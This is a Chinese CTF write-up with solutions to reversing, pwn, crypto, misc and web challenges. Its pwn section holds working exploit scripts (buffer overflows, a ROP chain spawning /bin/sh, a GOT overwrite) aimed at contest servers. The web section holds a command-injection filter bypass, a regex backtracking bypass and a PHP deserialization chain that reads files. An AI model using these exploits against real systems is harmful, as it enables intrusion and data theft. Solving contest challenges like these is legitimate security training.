RE
ez_asm
程序的逻辑大概是把输入的数据flag按字节 ^ 0x1E - 0x0A一遍，然后输出，所以只需要置反一下先 + 0x0A 然后再 ^ 0x1e就能求出flag
.text:0000000000401566 loc_401566: ; CODE XREF: main+65↓j
.text:0000000000401566 8B 45 FC mov eax, [rbp+var_4]
.text:0000000000401569 48 98 cdqe
.text:000000000040156B 48 8D 15 AE 1A 00 00 lea rdx, flag
.text:0000000000401572 0F B6 04 10 movzx eax, byte ptr [rax+rdx]
.text:0000000000401576 83 F0 1E xor eax, 1Eh
.text:0000000000401579 89 C1 mov ecx, eax
.text:000000000040157B 8B 45 FC mov eax, [rbp+var_4]
.text:000000000040157E 48 98 cdqe
.text:0000000000401580 48 8D 15 99 1A 00 00 lea rdx, flag
.text:0000000000401587 88 0C 10 mov [rax+rdx], cl
.text:000000000040158A 8B 45 FC mov eax, [rbp+var_4]
.text:000000000040158D 48 98 cdqe
.text:000000000040158F 48 8D 15 8A 1A 00 00 lea rdx, flag
.text:0000000000401596 0F B6 04 10 movzx eax, byte ptr [rax+rdx]
.text:000000000040159A 83 E8 0A sub eax, 0Ah
.text:000000000040159D 89 C1 mov ecx, eax
.text:000000000040159F 8B 45 FC mov eax, [rbp+var_4]
.text:00000000004015A2 48 98 cdqe
.text:00000000004015A4 48 8D 15 75 1A 00 00 lea rdx, flag
.text:00000000004015AB 88 0C 10 mov [rax+rdx], cl
.text:00000000004015AE FF 45 FC inc [rbp+var_4]
.text:00000000004015AE
.text:00000000004015B1
.text:00000000004015B1 loc_4015B1: ; CODE XREF: main+14↑j
.text:00000000004015B1 83 7D FC 27 cmp [rbp+var_4], 27h ; '''
.text:00000000004015B5 7E AF jle short loc_401566
.text:00000000004015B5
.text:00000000004015B7 48 8D 15 62 1A 00 00 lea rdx, flag
.text:00000000004015BE 48 8D 0D 3B 2A 00 00 lea rcx, Format ; "%s"
.text:00000000004015C5 E8 76 15 00 00 call printf
.text:00000000004015C5
.text:00000000004015CA B8 00 00 00 00 mov eax, 0
.text:00000000004015CF 48 83 C4 30 add rsp, 30h
.text:00000000004015D3 5D pop rbp
.text:00000000004015D4 C3 retn
.text:00000000004015D4
flag = "nhuo[M`7mc7uhc$7midgbTf`7`$7%#ubf7 ci5Y"
decoded_flag = ""
for char in flag:
decoded_byte = chr((ord(char) + 0x0A) ^ 0x1E)
decoded_flag += decoded_byte
print(decoded_flag)
easy_re
程序的逻辑是将输入的数据，每个字节高低位置换，然后和一个数组cmp，如果是相同的就是正确flag，所以我们只需要把des数组按字节拆分，然后每个字节都高低位置换，然后转ascii编码就是flag
for ( i = 0; i < v5; ++i )
Str[i] = (Str[i] >> 4) | (16 * Str[i]);
des = [
0x66, 0xC6, 0x16, 0x76, 0xB7, 0x45, 0x27, 0x97, 0xF5, 0x47,
0x03, 0xF5, 0x37, 0x03, 0xC6, 0x67, 0x33, 0xF5, 0x47, 0x86,
0x56, 0xF5, 0x26, 0x96, 0xE6, 0x16, 0x27, 0x97, 0xF5, 0x07,
0x27, 0x03, 0x26, 0xC6, 0x33, 0xD6, 0xD7, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
]
def convert(byte):
l , h = byte & 0x0F , byte & 0xF0
reversed_byte = (l << 4) | (h >> 4) # 交换高低位
return chr(reversed_byte)
flag = ''.join([convert(byte) for byte in des if byte != 0x00])
print(flag)
signin
flag{flag1sinarray}
easy_math
程序的逻辑是 将输入按7字节一个块 拆分，然后做一个很复杂的数学公式的判断，可以用z3来解方程，算出这六个块，然后把这六个块转成十六进制拼接就拿到flag了
for i in range(6):
s=""
for j in flag[i*7:i*7+7]:
s+=hex(ord(j))[2:]
l.append(int(s,16))
(593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5])== 0x5b8e0aef71d34ff43 and \
(605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5])== 0x551a262360964ef7f and \
(373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5])== 0x49d158a5657d6931c and \
(560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5])== 0x625568d5abbabf4f3 and \
(717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5])== 0x50ee0c025e70e3c23 and \
(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x40e735f8aa2815f65):
需要先用z3解方程，求出6个长度7字节的块是多少，然后转hex一下，就好了
from z3 import *
l = [Int(f'l_{i}') for i in range(6)]
constraints = [
593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5] == 0x5b8e0aef71d34ff43,
605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5] == 0x551a262360964ef7f,
373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5] == 0x49d158a5657d6931c,
560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5] == 0x625568d5abbabf4f3,
717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5] == 0x50ee0c025e70e3c23,
312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5] == 0x40e735f8aa2815f65
]
solver = Solver()
for constraint in constraints:
solver.add(constraint)
if solver.check() == sat:
m = solver.model()
flag = [m[l[i]].as_long() for i in range(6)]
else:
flag = "None flag"
print(flag)
flag_solution = ""
for num in flag:
hex_str = hex(num)[2:] #去掉0x
for i in range(0, len(hex_str), 2):
char_code = int(hex_str[i:i+2], 16) # 取一个字节
flag_solution += chr(char_code)
print(flag_solution)
ez_apk
看了一下encode里面的过程，有一些关键的数256 58之类的，网上搜索了一下发现是base58编码，索引表不是标准的，找一个base58decode的脚本修改一下索引表接触flag
def b58encode(tmp: str) -> str:
tmp = list(map(ord, tmp))
temp = tmp[0]
base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
for i in range(len(tmp) - 1):
temp = temp * 256 + tmp[i + 1]
tmp = []
while True:
tmp.insert(0, temp % 58)
temp = temp // 58
if temp == 0:
break
temp = ""
for i in tmp:
temp += base58[i]
return temp
def b58decode(tmp: str) -> str:
import binascii
base58 = "9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6"
temp = []
for i in tmp:
temp.append(base58.index(i))
tmp = temp[0]
for i in range(len(temp) - 1):
tmp = tmp * 58 + temp[i + 1]
return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8")
print(b58decode("5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX"))
seed
srand初始化了之后，rand的值是固定的，ida中看不到seed是多少，动调后发现seed是0，然后先把十个随机数 %256 算出来，然后异或置反一下就能拿到flag了
#include <iostream>
#include <stdlib.h>
using namespace std;
int main() {
srand(0);
for (size_t i = 0; i < 10; i++)
{
cout << rand() % 255 << endl;
}
return 0;
}
异或置反一下拿到 flag
flag = [
0x40, 0x29, 0x28, 0xE9, 0xC2, 0x04, 0xA4, 0xED, 0x9F, 0x53,
0x5F, 0x75, 0x3C, 0xD1, 0xCD, 0x2B, 0xA8, 0xC4, 0x89, 0x69,
0x15, 0x21, 0x16, 0xEF, 0xD7, 0x27, 0x92, 0xDF, 0xCA, 0x53,
0x5F, 0x2A, 0x3C, 0xD1, 0xCE, 0x03, 0xA3, 0xEF, 0xA5, 0x78,
0x16, 0x1A, 0x2D, 0xE1, 0xC4
]
xor = [38, 69, 73, 142, 185, 67, 205, 155, 250, 12]
decrypted_flag = [flag[i] ^ xor[i % 10] for i in range(45)]
for i in decrypted_flag:
print(chr(i),end="")
PWN
nc
nc进去拿到flag
hard nc
ls -al 发现有个隐藏的.gift ， cat .gift
flag{fd35e315-6683-4d
gift2目录下有个base64编码的字符串，在线解码拼接拿到flag
flag{fd35e315-6683-4d4c-9990-59bdd345d2d6}
四则计算器
strlen是根据字符串结尾\x00来检测长度的，所以填充\x00就能绕过strlen，有一个backdoor函数，只需要控制rbp让程序跳到backdoor函数就好了
from pwn import *
elf = context.binary = ELF('./alloc')
context.log_level = 'debug'
ip = "112.6.51.212"
port = 32519
p = remote(ip,port)
# p = process()
p.recvuntil(b"--->")
# gdb.attach(p)
paylaod = b'\x00' * (0x32 + 8)
paylaod += p64(0x4015E4)
p.sendline(paylaod)#
p.recvline()
p.interactive()
flag{189e8ff7-5f13-4195-a4b0-f58ed58879b9}
口算题
先nc 个十几次，看看有什么运算，\xc3\x97 \xc3\xb7查了一下是utf8的乘除法，所以接收数据的时候需要decode(utf8)一下，做这个题的时候卡了有些久，原因是数据格式处理的问题，还有编码问题吧，算完200个表达式后就能直接拿到flag了
- + ** % \xc3\x97 (x) \xc3\xb7 (÷)
from pwn import *
import re
def add(x, y):
return x + y
def sub(x, y):
return x - y
def mul(x, y):
return x * y
def div(x, y):
return x / y
def mod(x, y):
return x % y
def pow_func(x, y):
return x ** y
operator_functions = {
'+': add,
'-': sub,
'×': mul,
'÷': div,
'%': mod,
'**': pow_func
}
# context.log_level = 'debug'
ip = "112.6.51.212"
port = 31077
p = remote(ip,port)
# p = process()
pattern = r'(\d+)\s*([\+\-\*\%×÷]+)\s*(\d+)'
p.recvuntil(b"Press Enter to start...")
p.sendline(b'')
for i in range(200):
line = p.recvline() ; print(line)
expression = p.recvline() ; expression = expression.decode('utf-8')
match = re.match(pattern, expression)
a , operator , b = int(match.group(1)) , match.group(2) , int(match.group(3))
result = operator_functions[operator](a,b) ; result = str(result).encode('ascii')
p.sendline(result)
p.recvline()
p.interactive()
ropchain
查了一下ropgadget有个ropchain可以自动生成rop链，read 768ll这个很适合用ropchain来做，然后手搓的话，咱看了下是ret2syscall但是没有/bin/sh字符，所以要输入/bin/sh字符然后算这个字符的位置
from pwn import *
# elf = context.binary = ELF('./simplerop')
context.log_level = 'debug'
ip = "112.6.51.212"
port = 31919
p1 = remote(ip,port)
# p1 = process()
p = b'a' * (32 + 8)
from struct import pack
p += b''
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401243) # syscall
p1.recvuntil(b":")
p1.sendline(p)
p1.interactive()
showshowway
溢出修改y的值就能 system bin sh
from pwn import *
elf = context.binary = ELF('./showshowway')
context.log_level = 'debug'
ip = "112.6.51.212"
port = 30742
p = remote(ip,port)
# p = process()
line = p.recvline() ; print(line)
line = p.recvline() ; print(line)
payload = b'a' * (64) + b'showshowway'
p.sendline(payload)
p.interactive()
babystack
有个$0字符，system($0)等效于system("sh")，所以只需要把$0字符的地址传进去就能getshell了
from pwn import *
elf = context.binary = ELF('./babystack')
context.log_level = 'debug'
ip = "112.6.51.212"
port = 31088
p = remote(ip,port)
# p = process()
line = p.recvline() ; print(line)
line = p.recvline() ; print(line)
ret = 0x0400581
pop_rdi_ret = 0x400833
gadget1 = 0x400858 #$0
system = 0x4005D0
payload = b'a' * (0x20 + 8)
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload +=p64(gadget1)
payload +=p64(system)
p.sendline(payload)
p.interactive()
pkmon
https://blog.csdn.net/tabactivity/article/details/126660974
存在一个任意地址写的函数，可以往put_got写入后门函数的地址，来劫持程序流程，Partial RELRO got表还是可以写的
__int64 vuln()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
puts("Congratulations on becoming a Pokemon Master");
puts("Now come up with a name for your Pokemon");
__isoc99_scanf("%d", &v1);
return __isoc99_scanf("%8s", 8 * v1 + 6295712LL);
}
from pwn import *
context.binary = elf = ELF('./pkmon')
context.log_level = 'debug'
# p = process()
ip = "112.6.51.212"
port =31043
p =remote(ip,port)
line = p.recvline() ; print(line)
line = p.recvline() ; print(line)
p.send(b'-17')
p.send(p64(0x40072B))
# p.recvline()
p.interactive()
猜数游戏
可以用ctypes调用libc中的rand scand time函数，然后send过去就拿到flag了
from pwn import *
import ctypes
context.binary = elf = ELF('./guess')
context.log_level = 'debug'
libc = ctypes.CDLL('libc.so.6')
# p = process()
ip = "112.6.51.212"
port = 31130
p =remote(ip,port)
#初始化函数返回值
libc.time.restype = ctypes.c_long # 0LL
libc.srand.argtypes = [ctypes.c_uint]
#调用函数
time_value = ctypes.c_longlong(0)
seed = libc.time(ctypes.byref(time_value))
libc.srand(seed)
rand_result = libc.rand()
line = p.recvline() ; print(line)
line = p.recvline() ; print(line)
p.sendline(b'11')
p.sendline(str(rand_result))
p.interactive()
crypto
凯撒大帝
凯撒密码 ，偏移10
https://www.lddgo.net/encrypt/caesar-cipher
pvkq{mredsrkyxkx}
flag{chutihaonan}
okk
https://www.splitbrain.org/services/ook
flag{123456789}
熊斐特
埃特巴什码
http://www.hiencode.com/atbash.html
flag{atbash cipher}
进制
十六进制解码utf8 两次得到flag
https://www.toolhelper.cn/EncodeDecode/EncodeDecode
flag{ahfkjlhkah}
迷雾重重
摩斯在线解密，转换一下小写还有加括号拿到flag
https://www.lddgo.net/encrypt/morse
flag{morse_is_very_fun}
really_ez_rsa
有p q，求phi n，然后用phi n和e求逆元d，用c d e解密
from sympy import mod_inverse
from Crypto.Util.number import *
p = 217873395548207236847876059475581824463
q = 185617189161086060278518214521453878483
e = 65537
data = 6170206647205994850964798055359827998224330552323068751708721001188295410644
n = p * q
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(data, d, n)
print(long_to_bytes(m))
小兔子可爱捏
宇宙的答案是什么，搜了一下是 42，用42做秘钥，然后解密得到flag
https://www.sojson.com/encrypt_rabbit.html
flag{i_love_technology}
Crypto_Checkin
好抽象这个题卡了好久，base85 ascii标准 -> base64 -> base32 -> hex_to_ascii、
import base64
flag = "QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>"
flag = base64.b85decode(flag).decode('utf-8')
flag = base64.b64decode(flag).decode('utf-8')
flag = base64.b32decode(flag).decode('utf-8')
flag = bytes.fromhex(flag)
print(flag)
what is m
bytes_to_long只需要long_to_bytes就好了
from Crypto.Util.number import *
flag = 7130439814055607187529110950207724288724449076790226803689057377620436523581436082087095244180930294506876218028179174970274192227015978318250987106210044963474950687384725417375690783081597
print(long_to_bytes(flag))
难言的遗憾
搜索特征 清政府 编码规则，然后搜到了中文电码，然后用在线解密解出
https://www.qqxiuzi.cn/bianma/dianbao.php
flag{一天不学高数我就魂身难受}
残缺的md5
爆破三个?位置就好了
import hashlib
import itertools
flag_string = "KCLWG?K8M9O3?DE?84S9"
flag_md5 = "F0AF????B1F463????F7AE???B2AC4E6"
def replace_placeholders(string, combination):
for char in combination:
string = string.replace("?", char, 1)
return string
def is_similar(hash1, hash2):
for c1, c2 in zip(hash1, hash2):
if c2 != "?" and c1 != c2:
return False
return True
for combination in itertools.product("ABCDEFGHIJKLMNOPQRSTUVWXYZ", repeat=flag_string.count("?")):
md5_hash = hashlib.md5(replace_placeholders(flag_string, combination).encode()).hexdigest().upper()
if is_similar(md5_hash, flag_md5):
print(f"flag{{{md5_hash}}}")
黑暗之歌
盲文解密 -> base64(utf8)解密 -> 音符解密
http://www.atoolbox.net/Tool.php?Id=837 盲文解密
https://blog.csdn.net/mochu7777777/article/details/109450674
base64解码 utf8
https://www.toolhelper.cn/EncodeDecode/Base64EncodeDecode
音符加解密
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
flag{b2cc-9091-8a29}
佛说：只能四天
新佛曰-> 社会主义核心价值观编码 -> 栅栏(4) -> 凯撒(偏移3) -> 十六进制转字符串
https://blog.csdn.net/shshss64/article/details/127032395
http://hi.pcmoe.net/Buddha.html
https://www.zaixianjisuan.com/jiamijiemi/shehuizhuyihexinjiazhiguanjiami.html
https://www.qqxiuzi.cn/bianma/zhalanmima.php
https://www.qqxiuzi.cn/bianma/kaisamima.php
https://www.sojson.com/hexadecimal.html
flag{mission_accomplish}
misc
签到题
base64 decode两次得到flag
flag{this_is_flag}
message
https://www.sojson.com/hexadecimal.html
SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}
可爱的派蒙捏
010看末尾有两个文件 binwalk -e 提取出txt1 txt2两个文件，然后文本比较提取不相同的字符拼接，发现有 f l a g这样的，然后按步进2去迭代一遍得到flag
dfdl8aegg{540ecb9f0342d7e9f06582d838dfbc4ab9d4l7fa8}
with open("txt1.txt", "r", encoding="utf-8") as f1:
txt1 = f1.read()
with open("txt2.txt", "r", encoding="utf-8") as f2:
txt2 = f2.read()
diff_str_complete = []
for char1, char2 in zip(txt1, txt2):
if char1 != char2:
diff_str_complete.append(char1)
diff_str_complete.append(char2)
diff_str_complete = ''.join(diff_str_complete)
print(diff_str_complete)
for i in range(1,len(diff_str_complete),2):
print(diff_str_complete[i],end="")
web
babyRCE
https://www.freebuf.com/articles/web/330736.html
https://blog.csdn.net/qq_43427482/article/details/109725672
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
可以用\来拼接字符串 空格用${IFS}绕过
?rce=c\at${IFS}/fl\ag
生成你的邀请函吧~
https://blog.csdn.net/qq_32599479/article/details/101420501
这里有解决方法，用postman设置post请求方式，然后请求下面的地址
http://112.6.51.212:31587/generate_invitation
在body那选择json然后发送
{
"name": "nydn",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=1959759892&spec=640&img_type=jpg"
}
拿到flag
飞机大战
这里有个胜利的函数 查了一下atob是base64解码的函数，base64解密拿到flag
function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0078\u0059\u0032\u0046\u006a\u004d\u0054\u006b\u0035\u004e\u0043\u0031\u0069\u004f\u0057\u0055\u0079\u004c\u0054\u0051\u0078\u0059\u006a\u0051\u0074\u0059\u006d\u0049\u007a\u005a\u0043\u0031\u006b\u0059\u007a\u004e\u006b\u004e\u006a\u0045\u0034\u004d\u006a\u0055\u0032\u004d\u0032\u0052\u0039\u000a";
alert(atob(galf));
}
import base64
flag = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0078\u0059\u0032\u0046\u006a\u004d\u0054\u006b\u0035\u004e\u0043\u0031\u0069\u004f\u0057\u0055\u0079\u004c\u0054\u0051\u0078\u0059\u006a\u0051\u0074\u0059\u006d\u0049\u007a\u005a\u0043\u0031\u006b\u0059\u007a\u004e\u006b\u004e\u006a\u0045\u0034\u004d\u006a\u0055\u0032\u004d\u0032\u0052\u0039"
flag = base64.b64decode(flag).decode('utf8')
print(flag)
flag{1cac1994-b9e2-41b4-bb3d-dc3d6182563d}
登录就给flag
https://blog.csdn.net/qq_46634561/article/details/120019738
爆破admin 用弱口令字典，得出密码是password，登录拿到flag
flag{4ebf327905288fca947a}
1zzphp
第一个preg_math可以用数组绕过，第二个preg_match有递归限制，可以用超长的垃圾数据去绕开preg_match
https://www.laruence.com/2010/06/08/1579.html
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
import requests
url='http://112.6.51.212:30345/?num[]=1'
data={
'c_ode':'a'*1020000+'2023SHCTF'
}
r=requests.post(url=url,data=data).text
print(r)
ez_serialize
这里的结尾是A ，A有一个include，可以通过php伪协议把flag读出来，然后__invoke的触发条件是class a被当做函数调用，d正好满足这个性质，但是需要触发 get魔术方法，get触发的条件是访问一个不存在的属性，c又满足这个性质，然后b中的preg_match 能满足这个性质
所以链的顺序是 B -> C -> D -> A
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
<?php
highlight_file(__FILE__);
class A
{
public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class B
{
public $q;
public function __construct()
{
$this->q = new C();
}
}
class C
{
public $var;
public $z;
public function __construct()
{
$this->z = new D();
}
}
class D
{
public $p;
public function __construct()
{
$this->p = new A();
}
}
$payload = new B();
echo urlencode(serialize($payload));